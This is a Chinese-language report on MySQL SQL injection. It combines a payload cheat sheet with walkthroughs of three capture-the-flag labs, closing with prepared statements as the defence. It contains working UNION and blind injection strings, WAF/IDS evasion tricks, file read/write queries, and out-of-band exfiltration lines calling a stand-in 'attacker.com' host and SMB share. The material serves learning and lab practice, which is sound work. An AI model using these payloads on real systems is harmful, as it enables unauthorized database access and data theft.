目录

[一、 目标](#_Toc20587_WPSOffice_Level1) [2](#_Toc20587_WPSOffice_Level1)

[1. SQL注入](#_Toc5382_WPSOffice_Level2) [2](#_Toc5382_WPSOffice_Level2)

[2. MySQL注入](#_Toc31168_WPSOffice_Level2) [2](#_Toc31168_WPSOffice_Level2)

[二、 方法与原理](#_Toc5382_WPSOffice_Level1) [2](#_Toc5382_WPSOffice_Level1)

[1. 原理](#_Toc18866_WPSOffice_Level2) [2](#_Toc18866_WPSOffice_Level2)

[2. MySQL数据库知识](#_Toc16428_WPSOffice_Level2) [2](#_Toc16428_WPSOffice_Level2)

[(1) 默认数据库](#_Toc5382_WPSOffice_Level3) [2](#_Toc5382_WPSOffice_Level3)

[(2) 测试注入](#_Toc31168_WPSOffice_Level3) [2](#_Toc31168_WPSOffice_Level3)

[(3) 注释](#_Toc18866_WPSOffice_Level3) [3](#_Toc18866_WPSOffice_Level3)

[(4) 版本](#_Toc16428_WPSOffice_Level3) [3](#_Toc16428_WPSOffice_Level3)

[(5) 数据库凭证](#_Toc18368_WPSOffice_Level3) [3](#_Toc18368_WPSOffice_Level3)

[(6) 数据库表名](#_Toc22056_WPSOffice_Level3) [4](#_Toc22056_WPSOffice_Level3)

[(7) 服务器主机名](#_Toc18676_WPSOffice_Level3) [4](#_Toc18676_WPSOffice_Level3)

[(8) 服务器MAC地址](#_Toc11833_WPSOffice_Level3) [4](#_Toc11833_WPSOffice_Level3)

[(9) 表和列](#_Toc15965_WPSOffice_Level3) [4](#_Toc15965_WPSOffice_Level3)

[(10) 避免使用引用](#_Toc9032_WPSOffice_Level3) [6](#_Toc9032_WPSOffice_Level3)

[(11) 字符串连接](#_Toc29941_WPSOffice_Level3) [6](#_Toc29941_WPSOffice_Level3)

[(12) 条件语句](#_Toc32078_WPSOffice_Level3) [7](#_Toc32078_WPSOffice_Level3)

[(13) 定时](#_Toc12306_WPSOffice_Level3) [7](#_Toc12306_WPSOffice_Level3)

[(14) 权限](#_Toc10377_WPSOffice_Level3) [7](#_Toc10377_WPSOffice_Level3)

[(15) 读文件](#_Toc28750_WPSOffice_Level3) [7](#_Toc28750_WPSOffice_Level3)

[(16) 写文件](#_Toc6963_WPSOffice_Level3) [7](#_Toc6963_WPSOffice_Level3)

[(17) 带外通道](#_Toc4826_WPSOffice_Level3) [8](#_Toc4826_WPSOffice_Level3)

[(18) 堆叠查询](#_Toc1551_WPSOffice_Level3) [8](#_Toc1551_WPSOffice_Level3)

[(19) MySQL特定的代码](#_Toc5217_WPSOffice_Level3) [8](#_Toc5217_WPSOffice_Level3)

[(20) 模糊与混淆](#_Toc3661_WPSOffice_Level3) [8](#_Toc3661_WPSOffice_Level3)

[(21) 操作符](#_Toc23508_WPSOffice_Level3) [10](#_Toc23508_WPSOffice_Level3)

[(22) 常量](#_Toc910_WPSOffice_Level3) [12](#_Toc910_WPSOffice_Level3)

[(23) 密码哈希](#_Toc21729_WPSOffice_Level3) [12](#_Toc21729_WPSOffice_Level3)

[(24) 密码破解](#_Toc23316_WPSOffice_Level3) [12](#_Toc23316_WPSOffice_Level3)

[3. 方法](#_Toc18368_WPSOffice_Level2) [12](#_Toc18368_WPSOffice_Level2)

[三、 实验结果与分析](#_Toc31168_WPSOffice_Level1) [13](#_Toc31168_WPSOffice_Level1)

[1. 实验1：简单的sql注入1](#_Toc22056_WPSOffice_Level2) [13](#_Toc22056_WPSOffice_Level2)

[2. 实验2：简单的sql注入2](#_Toc18676_WPSOffice_Level2) [14](#_Toc18676_WPSOffice_Level2)

[3. 实验3：简单的sql注入3](#_Toc11833_WPSOffice_Level2) [14](#_Toc11833_WPSOffice_Level2)

[四、 总结](#_Toc18866_WPSOffice_Level1) [17](#_Toc18866_WPSOffice_Level1)

**MySQL注入技术报告**

1. **目标**
2. **SQL注入**

所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

1. **MySQL注入**

MySQL注入就是注入者针对MySQL数据库进行SQL注入。注入者通过简单的注入知道web服务器的数据库是MySQL数据库，注入者了解MySQL的基本知识(如MySQL的内置数据库，MySQL的内置表等)，运用这些知识进行针对性的SQL注入。

1. **方法与原理**
2. **原理**

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

1. **MySQL数据库知识**
2. 默认数据库

|  |  |
| --- | --- |
| 数据库名 | 需要root权限 |
| information\_schema | 版本5及更高版本 |

1. 测试注入

测试SQL：SELECT id FROM 表名 WHERE 条件

|  |  |  |
| --- | --- | --- |
| 字符串 | 条件 | TRUE：SQL正确有效  FALSE：SQL报错无效 |
| ‘ | id = ‘1’’ | FALSE |
| ‘’ | id = ‘1’’’ | TRUE |
| “ | id = 1 | FALSE |
| “” | id = ‘1””’ | TRUE |
| \ | id = ‘1\’ | FALSE |
| \\ | id = ‘1\\’ | TRUE |
| 数字 | 条件 | TRUE：结果有值  FALSE：结果为空 |
| AND 1 | id = 1 **AND** 1 | TRUE |
| AND 0 | id = 1 **AND** 0 | FALSE |
| AND TRUE | id = 1 **AND** TRUE | TRUE |
| AND FALSE | id = 1 **AND** FALSE | FALSE |
| 1 - TRUE | id = 1 - TRUE | FALSE |
| 1 - FALSE | id = 1 - FALSE | TRUE |
| 1 \* 5 | id = 1 \* 5 | TRUE（结果：id为5） |

登录SQL：SELECT \* FROM 表名 WHERE username = ‘注入点’; 得到表的所有数据

|  |
| --- |
| 注入点 |
| ' OR '1 |
| ' OR 1 -- - |
| '=' |
| 'LIKE' |

1. 注释

|  |  |
| --- | --- |
| # 注释内容 | 注意：   1. /\*! SQL语句 \*/ 与 /\* \*/ 对比，多了一个 “!”  /\*! \*/可以执行里面的SQL语句。 2. 反引号（`）只能在用作**别名**时用于结束查询。 |
| -- - 注释内容 |
| ;%00 注释内容 |
| ` 注释内容 |
| /\* 注释内容 \*/ |

1. 版本

|  |
| --- |
| VERSION() |
| @@VERSION |
| @@GLOBAL.VERSION |

1. 数据库凭证

|  |  |
| --- | --- |
| 库名 | mysql |
| 表名 | user |
| 列名 | user, password |
| SQL：查看所有用户和密码 | **SELECT** user,password **FROM** mysql.user; |

当前用户

|  |
| --- |
| user() |
| current\_user() |
| current\_user |
| system\_user() |
| session\_user() |

1. 数据库表名

|  |  |
| --- | --- |
| 库名 | information\_schema |
| 表名 | schemata |
| 列名 | schema\_name |
| SQL：查看所有数据库 | **SELECT** schema\_name **FROM** information\_schema.schemata; |

|  |  |
| --- | --- |
| 库名 | mysql |
| 表名 | db |
| 列名 | db |
| SQL：查看非root用户拥有权限的库 | **SELECT** db,user **FROM** mysql.db; |

当前数据库

|  |
| --- |
| database() |
| schema() |

1. 服务器主机名

|  |
| --- |
| @@hostname |

1. 服务器MAC地址

|  |  |
| --- | --- |
| UUID() | SQL：**SELECT** UUID();  结果：e93d1831-9c6e-11e9-b848-005056c00001 （每次结果都不一样，但是后面红色部分都是一样，这就是MAC地址）  注意：可能会在某些操作系统上返回48位随机字符串而不是MAC地址。 |

1. 表和列
2. 确定列数（确定SELECT 列数 FROM 表明）。

SQL：**SELECT** id,name **FROM** user **WHERE** id = ‘注入点’; （前提：报错信息可见）

|  |  |  |
| --- | --- | --- |
| 方法 | 注入点 | 结果 |
| GROUP / ORDER BY n+1 | 1’ **ORDER BY** 1 # | TRUE |
| 1’ **ORDER BY** 2 # | TRUE |
| 1’ **ORDER BY** 3 # | FALSE（列数为2） (Unknown column '3' in 'order clause') |
| 1’ **ORDER BY** 1,2,3 # | FALSE（列数为2）  (Unknown column '3' in 'order clause') |
|  | | |
| AND (SELECT \* FROM 表) = 1 | 1' **AND**  (**SELECT** \* **FROM** job) = 1 # | FALSE（列数为2）  (Operand should contain 2 columns) |

1. 检索表

|  |  |
| --- | --- |
| 库名 | information\_schema |
| 表名 | tables |
| 列名 | table\_name, table\_schema |
| SQL：查询当前数据库的所有表 | **SELECT** table\_name  **FROM** information\_schema.tables  **WHERE** table\_schema = database(); |

|  |  |
| --- | --- |
| 方法 | SQL |
| Union | **UNION**  **SELECT** column\_name  **FROM** information\_schema.columns  **WHERE** table\_name = ‘表名’ |
| Blind | **AND SELECT** LENGTH(table\_name) **FROM** information\_schema.tables = 表名长度;  **AND SELECT** SUBSTR(table\_name,1,1) **FROM** information\_schema.tables > '字符'; |

1. 检索列

|  |  |
| --- | --- |
| 库名 | information\_schema |
| 表名 | columns |
| 列名 | column\_name, table\_name, table\_schema |
| SQL：查询  某个库的某张表的所有列 | **SELECT** column\_name  **FROM** information\_schema.`columns`  **WHERE** table\_schema = 'hrm' **AND** table\_name = 'user'; |

|  |  |
| --- | --- |
| 方法 | SQL |
| Union | **UNION**  **SELECT** column\_name  **FROM** information\_schema.columns  **WHERE** table\_name = '表名' |
| Blind | **AND SELECT** LENGTH(column\_name) **FROM** information\_schema.columns = 表名长度;  **AND SELECT** SUBSTR(column\_name,1,1) **FROM** information\_schema.columns > '字符'; |

1. 从列名中查找表

|  |  |
| --- | --- |
| SQL：查找包含某列名的所有表 | **SELECT** table\_name  **FROM** information\_schema.columns  **WHERE** column\_name ='列名'; |

1. 从表名中查找列

|  |  |
| --- | --- |
| SQL：查找某张表的所有列 | **SELECT** column\_name  **FROM** information\_schema.columns  **WHERE** table\_name ='表名'; |

1. 找出当前的查询

|  |  |
| --- | --- |
| SQL：找出当前的查询  （从MySQL 5.1.7开始提供） | **SELECT** info  **FROM** information\_schema.processlist; |

1. 避免使用引用

如果SQL使用到的字段跟关键字重复，我们需要避免这些引用。

|  |  |
| --- | --- |
| 十六进制编码 | **SELECT** \* **FROM** Users **WHERE** username = 0x61646D696E; |
| CHAR() 函数 | **SELECT** \* **FROM** Users **WHERE** username = CHAR(97, 100, 109, 105, 110); |
| 用反引号：`字段` | **SELECT** \* **FROM** `Order` **WHERE** id = 1; |

1. 字符串连接

连接字符串：’admin’

|  |  |
| --- | --- |
| CONCAT( ‘a’, ’d’, ’m’, ’i’, ’n’ ) | 注意：   1. CONCAT\_WS() 第一个参数是分割符。 2. CONCAT() 如果有任何参数是NULL，都返回NULL。CONCAT\_WS() 会忽略NULL。 |
| CONCAT\_WS(‘’, ‘a’, ’d’, ’m’, ’i’, ’n’ ) |
| GROUP\_CONCAT( ‘a’, ’d’, ’m’, ’i’, ’n’ ) |

1. 条件语句

|  |  |
| --- | --- |
| 语句 | 语法 |
| CASE | **SELECT CASE WHEN** 条件 **THEN** 真值 **ELSE** 假值**END**; |
| IF() | **SELECT IF**( 条件, 真值, 假值 ); |
| IFNULL() | **SELECT IFNULL**( 值1, 值2 ) （如果值1为NULL，返回值2，否则返回值1） |
| NULLIF() | **SELECT NULLIF**( 值1, 值2 ) （如果值1 = 值2，返回NULL，否则返回值1） |

1. 定时

|  |  |
| --- | --- |
| 语句 | 版本 |
| SLEEP() | MySQL 5 |
| BENCHMARK() | MySQL 4/5 |

1. 权限

文件权限（以下查询可帮助确定给定用户的FILE权限）

|  |  |  |
| --- | --- | --- |
| SQL | 需要root权限 | 版本 |
| **SELECT** file\_priv  **FROM** mysql.user  **WHERE** user ='用户名'; | 需要 | MySQL 4/5 |
| **SELECT** grantee, is\_grantable  **FROM** information\_schema.user\_privileges  **WHERE** privilege\_type = 'file' AND grantee like '%用户名%'; | 不需要 | MySQL 5 |

1. 读文件

如果用户具有FILE权限，则可以读取文件。

|  |  |
| --- | --- |
| LOAD\_FILE('文件路径') | 注意：   1. 文件必须位于服务器主机上。 2. LOAD\_FILE() 的基本目录是 @@datadir。 3. 该文件必须是MySQL用户可读的。 4. 文件大小必须小于max\_allowed\_packet。 5. 默认大小为 @@max\_allowed\_packet ：1047552字节。 |

1. 写文件

如果用户具有FILE权限，则可以创建文件。

|  |  |
| --- | --- |
| INTO OUTFILE ‘文件路径’ | 注意：   1. 文件无法覆盖 INTO OUTFILE。 2. INTO OUTFILE 必须是查询中的最后一个语句。 3. 无法对路径名进行编码，因此需要引号。 |
| DUMPFILE ‘文件路径’ |

1. 带外通道
2. DNS请求

|  |
| --- |
| **SELECT** LOAD\_FILE(CONCAT('\\\\foo.',(**SELECT MID**(version(),1,1)),'.attacker.com\\')); |

1. SMB请求

|  |
| --- |
| ' **OR** 1=1 **INTO** OUTFILE '\\\\attacker\\SMBshare\\output.txt |

1. 堆叠查询
2. MySQL可以进行堆栈查询，具体取决于PHP应用程序使用哪个驱动程序与数据库 进行通信。
3. 该 PDO\_MYSQL 驱动程序支持堆叠查询。该 MySQLi （改进扩展）驱动程序还支 持通过堆查询 multi\_query() 功能。
4. MySQL特定的代码

MySQL允许您指定感叹号后的版本号。

仅当版本大于或等于指定的版本号时，才会执行注释中的语法。

|  |  |
| --- | --- |
| **UNION**  **SELECT** /\*!50000 5,null;%00\*//\*!40000 4,null-- ,\*//\*!30000 3,null-- x\*/0,null--+ | 返回版本，它使用一个有2列的UNION |
| SELECT 1/\*!41320UNION/\*!/\*!/\*!00000SELECT/\*!/\*!USER/\*!(/\*!/\*!/\*!\*/); | 演示了如何绕过WAF / IDS |

1. 模糊与混淆
2. 允许的中介字符

以下字符可用作空格

|  |  |
| --- | --- |
| 09 | 水平标签 |
| 0A | 新队 |
| 0B | 垂直标签 |
| 0℃ | 新的一页 |
| 0D | 回程 |
| A0 | 不间断的空格 |
| 20 | 空格 |

括号也可用于避免使用空格。例：**UNION**(**SELECT**(列)**FROM**(表))

|  |  |
| --- | --- |
| 28 | ( |
| 29 | ) |

1. AND / OR 后允许的中介字符

|  |  |
| --- | --- |
| 20 | 空格 |
| 2B | + |
| 2D | - |
| 7E | ~ |
| 21 | ! |
| 40 | @ |

1. 用注释混淆

* 某些函数也可以使用注释和空格进行混淆。

|  |
| --- |
| **SELECT**/\*\*/列/\*\*/**FROM**/\*\*/表 |

* 注释可用于分解查询以欺骗WAF / IDS并避免检测。通过使用＃或 - 后跟换行符，我们可以将查询拆分为单独的行。

例：

|  |
| --- |
| 1'#  **AND** 0--  **UNION**# I am a comment!  **SELECT**@tmp:=table\_name x **FROM**--  `information\_schema`.tables **LIMIT** 1# |

1. 编码

|  |  |
| --- | --- |
| 网址编码 | SELECT %74able\_%6eame FROM information\_schema.tables; |
| 双重URL编码 | SELECT %2574able\_%256eame FROM information\_schema.tables; |
| Unicode编码 | SELECT %u0074able\_%u6eame FROM information\_schema.tables; |
| 无效的十六进制编码(ASP) | SELECT %tab%le\_%na%me FROM information\_schema.tables; |

编码注射有时可用于WAF / IDS规避。

1. 避免关键字

如果IDS / WAF已阻止某些关键字，则可以通过其他方式绕过它而不使用编码。

|  |  |
| --- | --- |
| **information\_schema.tables** | |
| 空格 | information\_schema . tables |
| 反引号 | `information\_schema`.`tables` |
| /\*! 代码 \*/ | /\*!information\_schema.tables\*/ |
| 替代名称 | information\_schema.partitions  information\_schema.statistics  information\_schema.key\_column\_usage  information\_schema.table\_constraints |

1. 操作符

|  |  |
| --- | --- |
| [AND , &&](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_and" \t "https://www.websec.ca/kb/_blank) | 逻辑和 |
| [=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html" \l "operator_assign-equal" \t "https://www.websec.ca/kb/_blank) | 分配值（作为语句的一部分，或作为语句中子句的一部分 ）[SET](http://dev.mysql.com/doc/refman/5.6/en/set-statement.html" \t "https://www.websec.ca/kb/_blank)SET [UPDATE](http://dev.mysql.com/doc/refman/5.6/en/update.html" \t "https://www.websec.ca/kb/_blank) |
| [:=](http://dev.mysql.com/doc/refman/5.6/en/assignment-operators.html" \l "operator_assign-value" \t "https://www.websec.ca/kb/_blank) | 分配值 |
| [BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_between" \t "https://www.websec.ca/kb/_blank) | 检查值是否在值范围内 |
| [BINARY](http://dev.mysql.com/doc/refman/5.6/en/cast-functions.html" \l "operator_binary" \t "https://www.websec.ca/kb/_blank) | 将字符串转换为二进制字符串 |
| [&](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-and" \t "https://www.websec.ca/kb/_blank) | 按位AND |
| [~](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-invert" \t "https://www.websec.ca/kb/_blank) | 反转位 |
| [|](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-or" \t "https://www.websec.ca/kb/_blank) | 按位OR |
| [^](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_bitwise-xor" \t "https://www.websec.ca/kb/_blank) | 按位异或 |
| [CASE](http://dev.mysql.com/doc/refman/5.6/en/control-flow-functions.html" \l "operator_case" \t "https://www.websec.ca/kb/_blank) | 案例运营商 |
| [DIV](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_div" \t "https://www.websec.ca/kb/_blank) | 整数除法 |
| [/](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_divide" \t "https://www.websec.ca/kb/_blank) | 分部运营商 |
| [<=>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_equal-to" \t "https://www.websec.ca/kb/_blank) | NULL-safe等于运算符 |
| [=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_equal" \t "https://www.websec.ca/kb/_blank) | 平等的运营商 |
| [>=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_greater-than-or-equal" \t "https://www.websec.ca/kb/_blank) | 大于或等于运营商 |
| [>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_greater-than" \t "https://www.websec.ca/kb/_blank) | 大于运营商 |
| [IS NOT NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-not-null" \t "https://www.websec.ca/kb/_blank) | NOT NULL值测试 |
| [IS NOT](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-not" \t "https://www.websec.ca/kb/_blank) | 针对布尔值测试值 |
| [IS NULL](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is-null" \t "https://www.websec.ca/kb/_blank) | NULL值测试 |
| [IS](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_is" \t "https://www.websec.ca/kb/_blank) | 针对布尔值测试值 |
| [<<](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_left-shift" \t "https://www.websec.ca/kb/_blank) | 左移 |
| [<=](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_less-than-or-equal" \t "https://www.websec.ca/kb/_blank) | 小于或等于运营商 |
| [<](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_less-than" \t "https://www.websec.ca/kb/_blank) | 不到运营商 |
| [LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html" \l "operator_like" \t "https://www.websec.ca/kb/_blank) | 简单的模式匹配 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_minus" \t "https://www.websec.ca/kb/_blank) | 减号运算符 |
| [% or MOD](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_mod" \t "https://www.websec.ca/kb/_blank) | 模数运算符 |
| [NOT BETWEEN ... AND ...](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_not-between" \t "https://www.websec.ca/kb/_blank) | 检查值是否不在值范围内 |
| [!= , <>](http://dev.mysql.com/doc/refman/5.6/en/comparison-operators.html" \l "operator_not-equal" \t "https://www.websec.ca/kb/_blank) | 不等于运营商 |
| [NOT LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-comparison-functions.html" \l "operator_not-like" \t "https://www.websec.ca/kb/_blank) | 简单模式匹配的否定 |
| [NOT REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_not-regexp" \t "https://www.websec.ca/kb/_blank) | REGEXP的否定 |
| [NOT , !](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_not" \t "https://www.websec.ca/kb/_blank) | 否定价值 |
| [|| , OR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_or" \t "https://www.websec.ca/kb/_blank) | 逻辑或 |
| [+](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_plus" \t "https://www.websec.ca/kb/_blank) | 加法运算符 |
| [REGEXP](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_regexp" \t "https://www.websec.ca/kb/_blank) | 使用正则表达式匹配模式 |
| [>>](http://dev.mysql.com/doc/refman/5.6/en/bit-functions.html" \l "operator_right-shift" \t "https://www.websec.ca/kb/_blank) | 右转 |
| [RLIKE](http://dev.mysql.com/doc/refman/5.6/en/regexp.html" \l "operator_regexp" \t "https://www.websec.ca/kb/_blank) | REGEXP的同义词 |
| [SOUNDS LIKE](http://dev.mysql.com/doc/refman/5.6/en/string-functions.html" \l "operator_sounds-like" \t "https://www.websec.ca/kb/_blank) | 比较声音 |
| [\*](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_times" \t "https://www.websec.ca/kb/_blank) | 乘法运算符 |
| [-](http://dev.mysql.com/doc/refman/5.6/en/arithmetic-functions.html" \l "operator_unary-minus" \t "https://www.websec.ca/kb/_blank) | 更改参数的符号 |
| [XOR](http://dev.mysql.com/doc/refman/5.6/en/logical-operators.html" \l "operator_xor" \t "https://www.websec.ca/kb/_blank) | 逻辑异或 |

1. 常量

|  |
| --- |
| current\_user |
| null, \N |
| true, false |

1. 密码哈希

在MySQL 4.1之前，由PASSWORD() 函数计算的密码哈希长度为16个字节。这样的哈希看起来像这样：

|  |  |
| --- | --- |
| PASSWORD('mypass') | 6f8c114b58f2ce9e |

从MySQL 4.1开始，PASSWORD() 函数已被修改为产生更长的41字节哈希值：

|  |  |
| --- | --- |
| PASSWORD('mypass') | \*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

1. 密码破解

[https://www.websec.ca/kb/sql\_injection#MySQL\_Password\_Cracking](https://www.websec.ca/kb/sql_injection" \l "MySQL_Password_Cracking)

1. **方法**
2. 判断是否存在注入点，判断注入点的类型；  
    类型[ 数字型(int,float)、字符型(char,varchar)、查找型(%like%) ]；
3. 猜测SQL查询中的字段数；
4. 确定显示字段的顺序；
5. 获取当前数据库；
6. 获取当前数据库的所有表；
7. 获取目标表的所有列；
8. 获取数据(脱库)。
9. **实验结果与分析**



1. 实验1：简单的sql注入1

<http://ctf5.shiyanbar.com/423/web/>

1. 判断是否存在注入点，判断注入点的类型。

|  |  |
| --- | --- |
| 1 |  |
| ‘1’ |  |
| 结论 | 注入点是字符类型 |

1. 猜测SQL查询中的字段数。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/  SELECT/\*\*/1/\*\*/  FROM/\*\*/DUAL/\*\*/  WHERE/\*\*/'1'='1 |  |
| 结论 | 查询SQL字段数：1 |

1. 获取当前数据库。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/ SELECT/\*\*/database()/\*\*/ FROM/\*\*/DUAL/\*\*/ WHERE/\*\*/'1'='1 |  |
| 结论 | 当前数据库：web1 |

1. 获取当前数据库的目标表。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/ SELECT/\*\*/table\_name/\*\*/ FROM/\*\*/  information\_schema.tables/\*\*/ WHERE/\*\*/  table\_stable\_schemachema='web1 |  |
| 结论 | 目标表：flag |

1. 获取目标表的目标列。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/  SELECT/\*\*/column\_nacolumn\_nameme/\*\*/  FROM/\*\*/information\_schema.coluinformation\_schema.columnsmns/\*\*/  WHERE/\*\*/table\_name='flag |  |
| 结论 | 目标列：flag |

1. 获取数据(脱库)。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/  SELECT/\*\*/flag/\*\*/  FROM/\*\*/web1.flag/\*\*/  WHERE/\*\*/'1'='1 |  |
| 结论 | 结果：flag{Y0u\_@r3\_5O\_dAmn\_90Od} |

1. 实验2：简单的sql注入2

<http://ctf5.shiyanbar.com/web/index_2.php>

|  |  |
| --- | --- |
| **重复实验1步骤** | |
| 1'/\*\*/UNION/\*\*/  SELECT/\*\*/flag/\*\*/  FROM/\*\*/web1.flag/\*\*/  WHERE/\*\*/'1'='1 |  |
| 结论 | 结果：flag{Y0u\_@r3\_5O\_dAmn\_90Od} |

1. 实验3：简单的sql注入3

<http://ctf5.shiyanbar.com/web/index_3.php>

1. 判断是否存在注入点，判断注入点的类型。

|  |  |
| --- | --- |
| 1 |  |
| ‘1’ |  |
| 结论 | 注入点是字符类型，且结果有值不能看到值。 |

1. 猜测SQL查询中的字段数。

|  |  |
| --- | --- |
| 1'/\*\*/UNION/\*\*/  SELECT/\*\*/1/\*\*/  FROM/\*\*/DUAL/\*\*/  WHERE/\*\*/'1'='1 |  |
| 结论 | 查询SQL字段数：1 |

1. 获取当前数据库。

|  |  |
| --- | --- |
| 1'^(length(database())=4)# |  |
| 结论 | 当前数据库的库名长度：4 |
| 1'^( ascii( substr( database(),字符串索引,1 ) )=数字 )# | |
| 结论 | 字符串索引[1~4],数字[1~127],用工具测试  当前数据库：web1 |

1. 获取当前数据库的目标表。

|  |  |
| --- | --- |
| 1'^(  (SELECT count(table\_name)  FROM information\_schema.tables  WHERE table\_schema=database())=2)# |  |
| 结论 | 当前数据库的表数：2 |
| 1'^(length((  SELECT table\_name  FROM information\_schema.tables  WHERE table\_schema=database() limit 行索引,1))=数字)# | |
| 结论 | 行索引[0~1],数字[1,2,...],用工具测试  得到所有表名的长度 |
| 1'^(ascii(substr(  SELECT table\_name  FROM information\_schema.tables  WHERE table\_schema=database() limit 行索引,1),字符串索引,1))=数字)# | |
| 结论 | 行索引[0~1],  字符串索引[1~表名长度],  数字[1~127],用工具测试  目标表：flag |

1. 获取目标表的目标列。

|  |  |
| --- | --- |
| 1'^(  (SELECT count(column\_name)  FROM information\_schema.columns  WHERE table\_name=’flag’)=2)# |  |
| 结论 | 当前flag表的列数：2 |
| 1'^(length((  SELECT column\_name  FROM information\_schema.columns  WHERE table\_name=’flag’ limit 行索引,1))=数字)# | |
| 结论 | 行索引[0~1],数字[1,2,...],用工具测试  得到所有列名的长度 |
| 1'^(ascii(substr(  SELECT count(column\_name)  FROM information\_schema.columns  WHERE table\_name=’flag’ limit 行索引,1),字符串索引,1))=数字)# | |
| 结论 | 行索引[0~1],  字符串索引[1~列名长度],  数字[1~127],用工具测试  目标列名：flag |

1. 获取数据。

|  |  |
| --- | --- |
| 1'^(ascii(substr((SELECT flag FROM flag),字符串索引,1))=数字)# | |
| 结论 | 字符串索引[1~4],数字[1~127],用工具测试  结果：flag{Y0u\_@r3\_50\_dAmn\_900d} |

1. **总结**
   1. SQL注入七步法是基本原理，现实中不可能如此简单。但是明白基本的原理后，我们根据实际情况满满注入SQL，获取数据。
   2. 当注入点设置很多过滤，我们首先可以用替代这个关键字或字符，来测试其他关键字有没有被过滤。如：空格被过滤可以用 ( ), /\*\*/ 等；逗号被过滤用JOIN横向连接表对用查询字段数。
   3. 当报错信息或结果不能通过网页看见，利用布尔条件制造使结果以另一种方法被呈现。这是盲注，当然方法多多。但是当我们需要以ASCII码比较字符得出结果，我们就要使用工具、脚本来批量快速注入得出结果，所以我们还要掌握如SqlMap等工具的使用方法。
   4. 最后，SQL注入最核心的原理就是字符串的拼接，才导致不法分子窃取数据。所以，在之后操作数据库的编程中，除了过滤用户的输入。我们可以使用占位符来操纵SQL。如JDBC中的预编译语句对象PreparedStatement可以防止SQL注入。因为这不是字符串拼接，是占位符，语句已经预先编辑好，无论如何改变注入点的内容，都是作为一个值来执行。